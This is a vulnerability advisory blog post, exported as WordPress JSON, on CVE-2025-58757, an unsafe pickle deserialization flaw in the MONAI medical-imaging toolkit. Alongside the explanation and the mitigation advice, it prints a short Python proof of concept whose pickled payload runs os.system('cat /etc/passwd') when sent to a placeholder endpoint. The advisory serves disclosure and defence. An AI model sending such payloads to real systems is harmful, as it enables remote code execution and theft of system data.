{"id":74901,"date":"2025-09-14T19:12:37","date_gmt":"2025-09-14T19:12:37","guid":{"rendered":""},"modified":"2025-10-22T19:05:57","modified_gmt":"2025-10-23T01:05:57","slug":"cve-2025-58757-remote-code-execution-vulnerability-in-monai-ai-toolkit","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-58757-remote-code-execution-vulnerability-in-monai-ai-toolkit\/","title":{"rendered":"<strong>CVE-2025-58757: Remote Code Execution Vulnerability in MONAI AI Toolkit<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-58757 vulnerability is a severe security flaw that affects the MONAI AI toolkit, widely used in healthcare imaging applications. This vulnerability has the potential to enable remote code execution, posing a significant risk to any system running MONAI versions up to and including 1.5.0. The ability to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-9060-msoft-mflash-arbitrary-code-execution-vulnerability\/\"  data-wpil-monitor-id=\"82446\">execute arbitrary code<\/a> on a targeted system could lead to significant consequences, such as unauthorized system access, data theft, or even full system compromise. This issue is of particular concern since MONAI is widely used in the healthcare industry where <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7093-critical-vulnerability-in-belkin-f9k1122-1-00-33-impacting-system-security-and-data-integrity\/\"  data-wpil-monitor-id=\"91211\">data privacy and security<\/a> are paramount.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-58757<br \/>\nSeverity: High (CVSS: 8.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52395-remote-arbitrary-code-execution-vulnerability-in-roadcute-api-v-1\/\"  data-wpil-monitor-id=\"82583\">Remote Code Execution<\/a>, potential system compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-4097053924\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>MONAI | Up to and including 1.5.0<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-9779-totolink-a702r-buffer-overflow-vulnerability-in-the-function-sub-4162dc\/\"  data-wpil-monitor-id=\"85135\">vulnerability exploits the `pickle_operations` function<\/a> in `monai\/data\/utils.py`. If a dictionary key-value pair is received that ends with a specific suffix, the function automatically deserializes it using `pickle.loads()`. Since the function lacks any security measures, an attacker can send malicious data that, when deserialized, may <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52385-arbitrary-code-execution-vulnerability-in-studio-3t\/\"  data-wpil-monitor-id=\"82612\">execute arbitrary code<\/a> on the target system.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3038041648\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how the vulnerability might be exploited. An attacker could send a specially crafted <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-58259-denial-of-service-vulnerability-in-rancher-manager-due-to-unrestricted-payload-size\/\"  data-wpil-monitor-id=\"85816\">payload to a vulnerable<\/a> endpoint:<\/p>\n<pre><code class=\"\" data-line=\"\">import requests\nimport pickle\nimport os\n# Create a serialized malicious payload using pickle\nclass Exploit(object):\ndef __reduce__(self):\nreturn (os.system, (&#039;cat \/etc\/passwd&#039;,))\nmalicious_payload = pickle.dumps(Exploit())\n# Send the malicious payload to the vulnerable endpoint\nresponse = requests.post(&#039;http:\/\/target.example.com\/vulnerable\/endpoint&#039;, data=malicious_payload)<\/code><\/pre>\n<p>In this example, the malicious payload, when deserialized, would execute `os.system(&#8216;cat \/etc\/passwd&#8217;)` on the target system, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52461-information-leak-vulnerability-in-the-biosig-project-libbiosig-3-9-0\/\"  data-wpil-monitor-id=\"84775\">leaking sensitive information<\/a>.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Until a patch is released by the vendor, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help mitigate this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8418-arbitrary-plugin-installation-vulnerability-in-b-slider-gutenberg-slider-block-for-wp-plugin\/\"  data-wpil-monitor-id=\"82541\">vulnerability by detecting and blocking<\/a> malicious payloads. It&#8217;s also recommended to restrict network access to the affected systems and regularly <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6791-sql-injection-vulnerability-in-centreon-web-monitoring-event-logs-module\/\"  data-wpil-monitor-id=\"84092\">monitor the activity logs<\/a> for any unusual behavior.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-58757 vulnerability is a severe security flaw that affects the MONAI AI toolkit, widely used in healthcare imaging applications. This vulnerability has the potential to enable remote code execution, posing a significant risk to any system running MONAI versions up to and including 1.5.0. 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